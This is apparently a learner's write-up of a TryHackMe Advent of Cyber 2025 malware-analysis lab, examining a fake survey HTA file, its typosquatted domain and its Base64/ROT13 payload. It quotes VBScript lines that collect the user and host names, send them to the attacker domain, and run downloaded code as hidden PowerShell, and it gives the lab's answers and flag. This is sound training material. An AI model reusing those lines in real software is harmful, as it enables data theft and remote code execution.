TryHackMe Advent of Cyber 2025

Day 21 Challenge Report

Malware Analysis - HTA File Investigation

1. Executive Summary

Day 21 focused on malware analysis of HTA (HTML Application) files-a file format frequently exploited by attackers for initial access and payload delivery. Successfully analyzed malicious survey.hta file disguised as employee satisfaction survey, identified typosquatting domain (bestfestiivalcompany.com), traced data exfiltration endpoints, decoded Base64-encoded PowerShell payload, decrypted ROT13 obfuscation, and retrieved challenge flag. Demonstrated practical understanding of HTA file structure, VBScript analysis, social engineering tactics, multi-layer obfuscation techniques, and malware reverse engineering methodologies.

2. Understanding HTA Files

2.1 What Are HTA Files?

HTA (HTML Application) files are desktop applications built using web technologies-HTML, CSS, and JavaScript/VBScript. Unlike standard web pages that render inside browsers, HTA files execute directly on Windows through the Microsoft HTML Application Host (mshta.exe). This architecture allows HTA files to combine familiar web development syntax with full desktop application capabilities including file system access, registry modifications, and system command execution.

2.2 Legitimate Use Cases

- **Administrative Automation:** IT departments use HTAs for rapid deployment of configuration scripts
- **Internal Tools:** Quick interfaces for database queries, log analysis, or system checks
- **Prototyping:** Testing concepts before full application development
- **Support Utilities:** Lightweight help desk tools for common IT support tasks

2.3 HTA File Structure

HTAs consist of three primary components:

1. **HTA Declaration:** Defines application properties (title, window size, border, taskbar visibility)
2. **Interface (HTML/CSS):** Creates visual layout with forms, buttons, text fields
3. **Script Logic (VBScript/JavaScript):** Implements functionality and system interactions

Example Legitimate HTA:

```
<html> <head>   <title>TBFC Utility</title>   <HTA:APPLICATION ID="App" BORDER="thin"/>
</head> <body>   <h3>Welcome</h3>   <input type="button" value="Hello"
onclick="MsgBox('Hello!')"> </body> </html>
```

3. Malicious HTA Techniques

3.1 Attack Purposes

- **Initial Access/Delivery:** Phishing attachments, fake downloads, compromised websites
- **Downloaders/Droppers:** Fetch second-stage payloads from C2 servers
- **Obfuscation/Evasion:** Base64 encoding, script hiding, process concealment
- **Living-off-the-Land:** Abuse built-in Windows tools (mshta.exe, powershell.exe, wscript.exe)

3.2 Real-World Example: Epsilon Red

Summer 2025 saw ransomware groups deploying Epsilon Red via HTA files disguised as verification pages. This campaign affected numerous organizations, demonstrating the ongoing threat of malicious HTAs in corporate environments.

4. Challenge Investigation

4.1 Incident Context

TBFC SOC team discovered multiple compromised elf laptops. Investigation revealed common factor: all victims completed a salary survey delivered via email with HTA attachment. Mission: Analyze survey.hta to determine malicious functionality.

4.2 Opening the HTA Safely

```
pluma /root/Rooms/AoC2025/Day21/survey.hta
```

Critical: Always use text editor, never double-click HTA files during analysis-this prevents accidental execution!

4.3 Metadata Analysis

Question 1: HTA Application Title?

Located within <head> section between <title></title> tags:

Answer: Best Festival Company Developer Survey

4.4 VBScript Function Analysis

Identified five functions in <script type="text/vbscript"> section:

1. **window_onLoad:** Auto-executes on HTA load, calls getQuestions()
2. **getQuestions():** Makes external requests, decodes Base64, calls provideFeedback
3. **provideFeedback(feedbackString):** Gathers system info, exfiltrates data
4. **decodeBase64(base64):** Converts Base64 to binary
5. **RSBinaryToString(xBinary):** Converts binary to string

Question 2: Function Downloading Survey?

Answer: getQuestions

4.5 Network Indicators

Question 3: Download Domain?

Answer: survey.bestfestiivalcompany.com

Question 4: Typosquatting Character?

Domain analysis revealed typosquatting attempt:

- Malicious: bestfestiivalcompany.com (double 'i')
- Legitimate: bestfestivalcompany.com (single 'i')

Answer: i

4.6 Social Engineering Analysis

Question 5: Survey Question Count?

Examined <body> section (line 169) to identify visible interface elements.

Answer: 4

Question 6: Prize Destination?

Social engineering incentive found at survey conclusion: 'All participants will be entered into a prize draw for a chance to win a trip to...'

Answer: South Pole

4.7 Data Exfiltration

Question 7: Enumerated Information?

Within provideFeedback function, identified system enumeration:

```
strHost = CreateObject("WScript.Network").ComputerName
strUser = CreateObject("WScript.Network").UserName
```

Answer: ComputerName,UserName

Question 8: Exfiltration Endpoint?

```
IE.navigate2 "http://survey.bestfestiivalcompany.com/details?u=" & strUser & "?h=" & strHost
```

Answer: /details

Question 9: HTTP Method?

IE.navigate2 uses GET requests with URL parameters for data transmission.

Answer: GET

4.8 Payload Execution

Question 10: Execution Code Line?

Within getQuestions function, identified direct execution of downloaded content:

```
runObject.Run "powershell.exe -nop -w hidden -c " & feedbackString, 0, False
```

5. Payload Deobfuscation

5.1 First Layer: Base64

Question 11: Encoding Scheme?

Downloaded payload from archived malware site, analyzed with CyberChef Magic recipe.

Answer: base64

5.2 Second Layer: ROT13

Question 12: Encryption Scheme?

After Base64 decode, text remained obfuscated. Pattern analysis revealed Caesar cipher characteristics-same letters produce identical ciphertext even when repeated.

Answer: ROT13

5.3 Final Flag Extraction

Question 13: Flag Value?

Applied CyberChef recipe chain: From Base64 → ROT13

Flag: THM{Malware.Analysed}

6. Attack Chain Summary

4. Phishing email with HTA attachment
5. Social engineering: Fake salary survey + prize incentive
6. Typosquatting domain mimics legitimate company
7. Auto-execution on HTA load (window_onLoad)
8. System enumeration (ComputerName, UserName)
9. Data exfiltration via GET to /details endpoint
10. Download Base64-encoded payload
11. Decode + decrypt (ROT13) payload
12. Execute PowerShell with hidden window

7. Key Skills Developed

- HTA file structure understanding
- VBScript static analysis
- Function tracing and logic flow
- CreateObject pattern recognition
- Typosquatting detection
- Social engineering analysis
- Multi-layer deobfuscation
- Base64 and ROT13 decoding
- Malware reverse engineering

8. Conclusion

Day 21 provided comprehensive training in malware analysis focusing on HTA files-a frequently exploited file format combining web technologies with desktop application capabilities. Successfully analyzed malicious survey.hta disguised as employee satisfaction survey, identified sophisticated multi-layer obfuscation (Base64 + ROT13), traced data exfiltration mechanisms, and uncovered typosquatting tactics.

Critical lessons: HTAs blend familiarity (HTML/JavaScript) with power (system access), making them attractive to attackers. Typosquatting exploits user trust in brand names. Multi-layer obfuscation (encoding + encryption) delays detection. Social engineering (prizes, surveys) increases victim engagement. Static analysis requires methodical approach: metadata → functions → network indicators → payload extraction. Always analyze malware in sandboxed environments using text editors, never execute directly.

Challenge Status: **COMPLETED ✓ - All 13 Questions Answered!**